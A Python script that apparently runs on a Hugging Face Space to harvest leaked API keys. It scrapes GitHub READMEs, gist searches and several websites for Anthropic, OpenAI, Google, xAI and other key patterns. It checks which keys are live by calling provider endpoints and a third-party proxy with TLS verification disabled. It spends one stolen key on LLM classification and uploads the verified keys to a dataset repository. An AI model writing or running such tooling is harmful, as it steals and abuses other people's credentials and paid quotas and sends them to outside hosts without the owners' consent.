key_tester.py

"""Key Tester – yt-keys Space. Scrapes, classifies, verifies keys."""
import json, os, re, sys, time, threading, urllib.request, urllib.error, ssl, random, math
from pathlib import Path

HF_TOKEN = os.environ.get("HF_TOKEN", "")
DATASET_REPO = os.environ.get("OPENCLAW_DATASET_REPO", "arshitmalik/yt-pipeline-data")
POOL_KEY = "verified_keys.json"
TESTER_SPACE = "arshitmalik/yt-keys"

PROVIDER_PRIORITY = ["anthropic", "openai", "google", "mistral", "xai", "others"]

LOG_FILE = Path("/app/tester.log")

def log(msg):
    line = f"[{time.strftime('%H:%M:%S')}] {msg}"
    print(line)
    try:
        with open(LOG_FILE, "a") as f:
            f.write(line + "\n")
    except Exception:
        pass

ctx = ssl.create_default_context()
ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE

def fetch(url, timeout=25, headers=None):
    if headers is None: headers = {"User-Agent": "Mozilla/5.0"}
    try:
        req = urllib.request.Request(url, headers=headers)
        with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
            return r.read().decode("utf-8", errors="replace")
    except Exception: return None

def shannon_entropy(s):
    if not s: return 0
    prob = [float(s.count(c))/len(s) for c in set(s)]
    return -sum(p*math.log2(p) for p in prob)

PLACEHOLDER_RE = re.compile(r'sk-0+$|sk-a+$|sk-x+$|qwerty|xxxx|placeholder|your.key|example|sample|sk-[A-Za-z0-9]{0,10}$', re.I)

def is_likely_real(key):
    if len(key) < 20 or len(key) > 200: return False
    if not re.match(r'^(sk-|AIza|fk|hf_|xai-|ghp_)', key): return False
    if PLACEHOLDER_RE.search(key): return False
    if key.count(key[0]) > len(key)*0.7: return False
    if shannon_entropy(key) < 3.5: return False
    return True

def extract_keys(text):
    found = set()
    for pat in [r'(sk-[A-Za-z0-9]{48,})', r'(sk-or-v1-[A-Za-z0-9]{48,})', r'(sk-ant-api[0-9]{2}-[A-Za-z0-9\-_]{60,})', r'(AIza[0-9A-Za-z\-_]{35})', r'(xai-[A-Za-z0-9]{20,})', r'(fk[A-Za-z0-9]{48,})', r'(hf_[A-Za-z0-9]{30,})']:
        for m in re.finditer(pat, text):
            k = m.group(1)
            if is_likely_real(k): found.add(k)
    return found

def guess_provider(key):
    k = key.lower()
    if k.startswith("sk-ant-api"): return "anthropic"
    if k.startswith("aiza"): return "google"
    if k.startswith("xai-"): return "xai"
    if k.startswith("hf_"): return "others"
    if k.startswith("sk-or-v1"): return "others"
    if k.startswith("sk-") or k.startswith("fk"): return "openai"
    return "others"

README_SRCS = [f"https://raw.githubusercontent.com/alistaitsacle/free-llm-api-keys/main/README{ext}.md" for ext in ["", "_CN", "_JA", "_KO"]]

OTHER_REPOS = ["chatanywhere/GPT_API_free", "Poghappy/gpt_api_free", "popjane/free_chatgpt_api", "onlywyl/free_chatgpt_api", "dan1471/FREE-openai-api-keys", "racalado/free-openai-api-keys", "CyYxl2024/freeai", "qwq202/One-FAS-API", "vibheksoni/free-ai", "Mr-Abood/GPTFree", "BuluBulugege/Free-BAI", "thesecondchance/freeflow-llm", "tashfeenahmed/freellmapi", "mufeng510/Free-ChatGPT-API", "ling-drag0n/api-pool", "fengqiaozhu/openrouter-free-pool", "mahdi-marjani/free-llm-api", "realasfngl/ChatGPT", "Butakov-Andrey/freegpt", "elphen-wang/FreeAI", "devashish2024/freegpt"]

FREE_TIER_LISTS = ["https://raw.githubusercontent.com/cheahjs/free-llm-api-resources/main/README.md", "https://raw.githubusercontent.com/mnfst/awesome-free-llm-apis/main/README.md"]

WEBSITES = ["https://alistaitsacle.github.io/free-llm-api-keys/", "https://freetheai.xyz", "https://free.gpt.ge", "https://freeapi.geekgpt.site", "https://aipipe.org"]

GIST_KW = ["sk-or-v1-", "sk-ant-api", "AIzaSy", "xai-", "sk-proj-"]

def search_gists(kw, max_r=5):
    ids = []
    html = fetch(f"https://gist.github.com/search?q={urllib.request.quote(kw)}", timeout=20)
    if html:
        for m in re.finditer(r'href="/[^/]+/([a-f0-9]{20,})"', html):
            if m.group(1) not in ids: ids.append(m.group(1))
            if len(ids) >= max_r: break
    return ids

def fetch_gist(gid):
    raw = fetch(f"https://api.github.com/gists/{gid}", headers={"User-Agent": "KeyTester/1.0", "Accept": "application/vnd.github+json"})
    if raw:
        try:
            data = json.loads(raw)
            return "\n".join(finfo.get("content", "") or "" for finfo in data.get("files", {}).values())
        except: pass
    return None

PROXY_BASE = "https://aiapiv2.pekpik.com/v1"
VERIFY_ENDPOINTS = {
    "anthropic": ("https://api.anthropic.com/v1/models", {"x-api-key": "{key}", "anthropic-version": "2023-06-01"}),
    "openai": (f"{PROXY_BASE}/models", {"Authorization": "Bearer {key}"}),
    "google": ("https://generativelanguage.googleapis.com/v1beta/models?key={key}", {}),
    "mistral": ("https://api.mistral.ai/v1/models", {"Authorization": "Bearer {key}"}),
    "xai": ("https://api.x.ai/v1/models", {"Authorization": "Bearer {key}"}),
    "others": (f"{PROXY_BASE}/models", {"Authorization": "Bearer {key}"}),
}

def test_key(key, provider):
    url_t, headers_t = VERIFY_ENDPOINTS.get(provider, VERIFY_ENDPOINTS["others"])
    url = url_t.replace("{key}", key)
    headers = {k: v.replace("{key}", key) for k, v in headers_t.items()}
    try:
        req = urllib.request.Request(url, headers=headers)
        with urllib.request.urlopen(req, timeout=10, context=ctx) as r: return r.status == 200
    except urllib.error.HTTPError as e: return e.code == 429
    except Exception: return None

def classify_keys(candidates):
    results = []
    for key in candidates[:10]:
        ok = test_key(key, guess_provider(key))
        if ok:
            classifier_key = key
            break
    else:
        return [(k, "MEDIUM", guess_provider(k)) for k in candidates]

    for line in candidates[:100]:
        payload = json.dumps({
            "model": "gpt-5.4",
            "messages": [
                {"role": "system", "content": "Analyze this variable for API keys. Output JSON: {\"confidence\":\"NONE\"|\"LOW\"|\"MEDIUM\"|\"HIGH\",\"provider\":\"openai\"|\"anthropic\"|\"google\"|\"mistral\"|\"xai\"|\"others\"}. Placeholders like sk-xxxxx are NONE. Real keys are MEDIUM/HIGH."},
                {"role": "user", "content": f"{line}"}
            ],
            "temperature": 0, "max_tokens": 200
        }).encode()
        try:
            req = urllib.request.Request(f"{PROXY_BASE}/chat/completions", data=payload, headers={"Content-Type": "application/json", "Authorization": f"Bearer {classifier_key}"})
            with urllib.request.urlopen(req, timeout=15, context=ctx) as r:
                resp = json.loads(r.read().decode())
                content = resp["choices"][0]["message"]["content"]
                try:
                    parsed = json.loads(content)
                    conf = parsed.get("confidence", "NONE")
                    prov = parsed.get("provider", "others")
                    if conf in ("MEDIUM", "HIGH"): results.append((line, conf, prov))
                except: pass
        except Exception: break
        time.sleep(1)
    return results

def scrape_all():
    all_keys = set()
    for url in README_SRCS:
        t = fetch(url)
        if t:
            keys = extract_keys(t)
            log(f"  alistaitsacle: {len(keys)} keys")
            all_keys.update(keys)
    for repo in OTHER_REPOS:
        t = fetch(f"https://raw.githubusercontent.com/{repo}/main/README.md")
        if t:
            keys = extract_keys(t)
            if keys: log(f"  {repo}: {len(keys)} keys")
            all_keys.update(keys)
    for url in FREE_TIER_LISTS:
        t = fetch(url)
        if t:
            keys = extract_keys(t)
            if keys: log(f"  free-tier: {len(keys)} keys")
            all_keys.update(keys)
    for url in WEBSITES:
        t = fetch(url)
        if t:
            keys = extract_keys(t)
            if keys: log(f"  {url}: {len(keys)} keys")
            all_keys.update(keys)
    for kw in random.sample(GIST_KW, min(3, len(GIST_KW))):
        gids = search_gists(kw, 3)
        for gid in gids:
            t = fetch_gist(gid)
            if t:
                keys = extract_keys(t)
                all_keys.update(keys)
        time.sleep(2)
    return list(all_keys)

def main():
    log("Scraping all sources...")
    candidates = scrape_all()
    log(f"{len(candidates)} candidate keys after extraction")

    log("Classifying with LLM...")
    classified = classify_keys(candidates)
    log(f"{len(classified)} keys classified as MEDIUM/HIGH")

    pool = {p: [] for p in PROVIDER_PRIORITY}
    rate_limited = set()
    for key, conf, prov in (classified if classified else [(k, "MEDIUM", guess_provider(k)) for k in candidates]):
        if prov not in pool: prov = "others"
        if len(pool[prov]) >= 20: continue
        if prov in rate_limited: continue
        ok = test_key(key, prov)
        if ok is True:
            pool[prov].append(key)
            log(f"  VERIFIED [{prov}]: {key[:14]}...")
        elif ok is None:
            rate_limited.add(prov)
            log(f"  RATE_LIMITED [{prov}]")
        else:
            log(f"  INVALID [{prov}]: {key[:14]}...")
        time.sleep(1.5)

    if len(rate_limited) >= len([p for p in PROVIDER_PRIORITY if pool.get(p)]):
        log("All providers rate-limited. Factory rebooting self...")
        try:
            from huggingface_hub import HfApi
            HfApi(token=HF_TOKEN).restart_space(TESTER_SPACE, factory_reboot=True)
        except Exception as e:
            log(f"Reboot failed: {e}")
        return

    total = sum(len(v) for v in pool.values())
    log(f"Uploading {total} verified keys to dataset...")
    try:
        from huggingface_hub import HfApi
        api = HfApi(token=HF_TOKEN)
        api.upload_file(
            path_or_fileobj=json.dumps(pool, indent=2).encode(),
            path_in_repo=POOL_KEY, repo_id=DATASET_REPO, repo_type="dataset")
        log("Pool uploaded successfully.")
    except Exception as e:
        log(f"Upload failed: {e}")

    log("Done. Sleeping.")
    while True: time.sleep(3600)

if __name__ == "__main__":
    main()